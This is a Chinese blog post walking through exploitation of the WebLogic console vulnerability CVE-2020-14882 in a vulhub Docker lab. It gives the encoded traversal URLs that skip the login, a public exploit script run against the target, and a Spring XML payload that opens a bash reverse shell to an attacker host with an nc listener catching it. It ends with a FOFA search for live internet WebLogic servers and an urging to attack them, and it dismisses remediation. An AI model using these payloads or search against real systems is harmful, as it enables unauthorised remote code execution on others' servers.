weblogic未授权访问漏洞复现(CVE-2020-14882)

weblogic未授权访问漏洞复现(CVE-2020-14882)

  • 一、漏洞描述
    • 1.1 基本情况
    • 2.2 影响版本
  • 二、复现
    • 2.1 环境准备
      • 2.1.1 克隆仓库
      • 2.1.2 安装python3
      • 2.1.3 让docker跑起来
      • 2.1.4 docker-compose闪亮登场
      • 2.1.5 千呼万唤始出来--weblogic
      • 2.1.6 验证
    • 2.2 流程
  • 三、利用
    • 3.1 有回显的利用
    • 3.2 无回显的利用
    • 3.3 实战
  • 四、修复

一、漏洞描述

今天上课,老师讲了几个中间件框架漏洞,说实话我今天全程梦游~~~~~,上午太困了感觉要睡死过去,中午在我的小板凳上搭了张床也没睡着,醒了还腰疼~~~~~~,晚上我就自己上网找了点资料深入理解了一下这个漏洞。漏洞的原理是什么我们就不去深究了,我当前还没有这个能力,我们就来看看怎么用它吧!!!!下面的两个小节我就直接搬运了~
这里贴上我参考复现的帖子,吃水不忘挖井人,大师傅一看就是高手,讲的又高深有详细,后面的手工利用的部分我就直接蒙蔽
Weblogic Console HTTP协议远程代码执行漏洞复现(CVE-2020-14882)

1.1 基本情况

Oracle WebLogic Server 远程代码执行漏洞 (CVE-2020-14882)POC 被公开,未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码。它们均存在于WebLogic的Console控制台组件中。此组件为WebLogic全版本默认自带组件,且该漏洞通过HTTP协议进行利用。将CVE-2020-14882和CVE-2020-14883进行组合利用后,远程且未经授权的攻击者可以直接在服务端执行任意代码,获取系统权限

2.2 影响版本

Oracle WebLogic Server,版本10.3.6.0,12.1.3.0,12.2.1.3,12.2.1.4,14.1.1.0

二、复现

2.1 环境准备

2.1.1 克隆仓库

 git clone  https://github.com/vulhub/vulhub.git

没想到我迷你版的centos也有git啊!!!!
weblogic未授权访问漏洞复现(CVE-2020-14882)_第1张图片
嗯,克隆完就这个效果,我们再到当前目录ls一下
weblogic未授权访问漏洞复现(CVE-2020-14882)_第2张图片
可以看到漏洞仓库vulnhub出现了
然后我们

cd ./vulhub/weblogic

weblogic文件夹里面长这样
在这里插入图片描述
我们要利用的是CVE-2020-14882 cd进去,长这样
在这里插入图片描述
可以看到里面有个yml文件,至于这个文件做什么的,en…我不知道啦,只知道后面要用到,这是一个新的知识点,等我把这个利用流程拉通之后就去学习。当然我也简单得搜了一下,这个文件是要配合docker-compose使用的,emmmm… docker-compose???又是新的知识点呢?当初学docker的时候偷了懒,和它很面熟的样子。大家看完了之后也一定去学习学习哦~~~~

2.1.2 安装python3

什么?你没有python3?那可不行,一起来安装吧

yum install python3 -y

等待安装完成
weblogic未授权访问漏洞复现(CVE-2020-14882)_第3张图片
然后我们执行

curl -s https://bootstrap.pypa.io/get-pip.py | python3

weblogic未授权访问漏洞复现(CVE-2020-14882)_第4张图片
你问我这一步是干什么的?一开始的时候我比你还懵,直到我看到了命令执行完最后的提示,原来是卸载旧版本的pip安装最新的pip…你不会又不知道什么是pip吧??pip就是python的一个包管理软件,和centos的yum一样一样的。

2.1.3 让docker跑起来

systemctl start docker #启动docker
systemctl status docker # 查看docker状态,如果提示绿色的active就证明你成功了!!绿色....emmmm....

2.1.4 docker-compose闪亮登场

pip install docker-compose

weblogic未授权访问漏洞复现(CVE-2020-14882)_第5张图片
这个包还是挺大的,让子弹飞一会儿!!!!!

2.1.5 千呼万唤始出来–weblogic

docker-compose up -d

weblogic未授权访问漏洞复现(CVE-2020-14882)_第6张图片
这一步就是我们前面提到的要使用yml文件的地方,yml文件里放的是我们要拉的镜像的配置信息,上面这条命令要在yml文件的同级目录下面执行,我们来看看yml文件里写了什么吧!!
weblogic未授权访问漏洞复现(CVE-2020-14882)_第7张图片
可以看到,什么也没写嘛!!!
可以注意到两关键点,一个是要拉取的镜像的名字,一个是指定镜像映射的端口号!!!

2.1.6 验证

这下镜像也有了,让我们看看长什么样

docker images

在这里插入图片描述

docker ps

在这里插入图片描述
这两条命令不用我解释了吧?
让我们用浏览器访问一下
weblogic未授权访问漏洞复现(CVE-2020-14882)_第8张图片
是不是还挺帅的!!!!

2.2 流程

重头戏来了。。。。。我准备直接点
注意了,现在我是不知道登录用户名与密码的,那我怎么进入管理员的后台呢??
我们直接这样访问

http://yourip:7001/console/images/%252E%252E%252Fconsole.portal

weblogic未授权访问漏洞复现(CVE-2020-14882)_第9张图片
都来看看这是什么???这是快乐星球啊!!!!
那么url中一串乱七八糟的编码是什么呢?%252E%252E%252F我们url解码一下

%25 %2e %2f
% . /

你学废了吗?这是二次解码哟!!!其实就是../console.portal目录穿越

不止这一处呢

http://yourip:7001/console/css/%25%32%65%25%32%65%25%32%66console.portal

weblogic未授权访问漏洞复现(CVE-2020-14882)_第10张图片
上面的一串%大家自己丢进工具里面通过十六进制解码一下就直到是什么东东了!!!!
好了,打完收工,

三、利用

直接上脚本,站在巨人的肩膀上摘苹果不香吗??利用脚本…

3.1 有回显的利用

weblogic未授权访问漏洞复现(CVE-2020-14882)_第11张图片
在攻击机中执行命令

python CVE-2020-14882_ALL.py -u http://192.168.248.183:7001 -c "ls" #ip、端口为靶机的

weblogic未授权访问漏洞复现(CVE-2020-14882)_第12张图片
都来看看这是什么???

3.2 无回显的利用

首先,我们得准备一个xml文件,文件内容在这呢!!!

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
	<value>/bin/bashvalue>
        <value>-cvalue>
        <value>& /dev/tcp/192.168.248.183/54321  0>&1]]>value>
      list>
    constructor-arg>
  bean>
beans>

weblogic未授权访问漏洞复现(CVE-2020-14882)_第13张图片
ip与端口修改为你自己的攻击机的ip与端口
然后我们还需要一台服务器,随便找台机器,执行

python3 -m http.server

weblogic未授权访问漏洞复现(CVE-2020-14882)_第14张图片
这就有了一台服务器了,网站的根目录在你运行这条命令的时候所处的位置,我复现的时候还找了大半天,这个根目录在哪呢,真衰,用浏览器访问一下
weblogic未授权访问漏洞复现(CVE-2020-14882)_第15张图片
搭建成功!!!!!
然后我们将我们刚才创建的poc.xml文件放到网站的根目录里面,访问一下
weblogic未授权访问漏洞复现(CVE-2020-14882)_第16张图片
nice!!!
然后我们在我们的攻击机里面监听一下端口,端口就是你在poc.xml中配置的端口

nc -lvp 54321

weblogic未授权访问漏洞复现(CVE-2020-14882)_第17张图片

然后再在攻击机中执行

python3 CVE-2020-14882_ALL.py -u http://target_mechine_ip:7001/ -x http://your_httpserver_ip:8000/poc.xml

weblogic未授权访问漏洞复现(CVE-2020-14882)_第18张图片
太嚣张了,直接说攻击完成!!!
我们到监听端口看看
weblogic未授权访问漏洞复现(CVE-2020-14882)_第19张图片
反弹shell成功,执行whoami,看看我是谁,原来我是oracle啊!!!!!!!!

好了,到这里就结束了,推荐大家看我文章开头的参考文章,大佬讲的更多,后面还有手工利用的部分,我还没有研究透,好了,我继续去肝了!!

3.3 实战

上FOFA

app="BEA-WebLogic-Server"

weblogic未授权访问漏洞复现(CVE-2020-14882)_第20张图片
盘他!!!!!!!!!

四、修复

emmmmm…这是官方的事!!!!!!

你可能感兴趣的:(VulnReviewing,weblogic,网络安全,中间件,cve)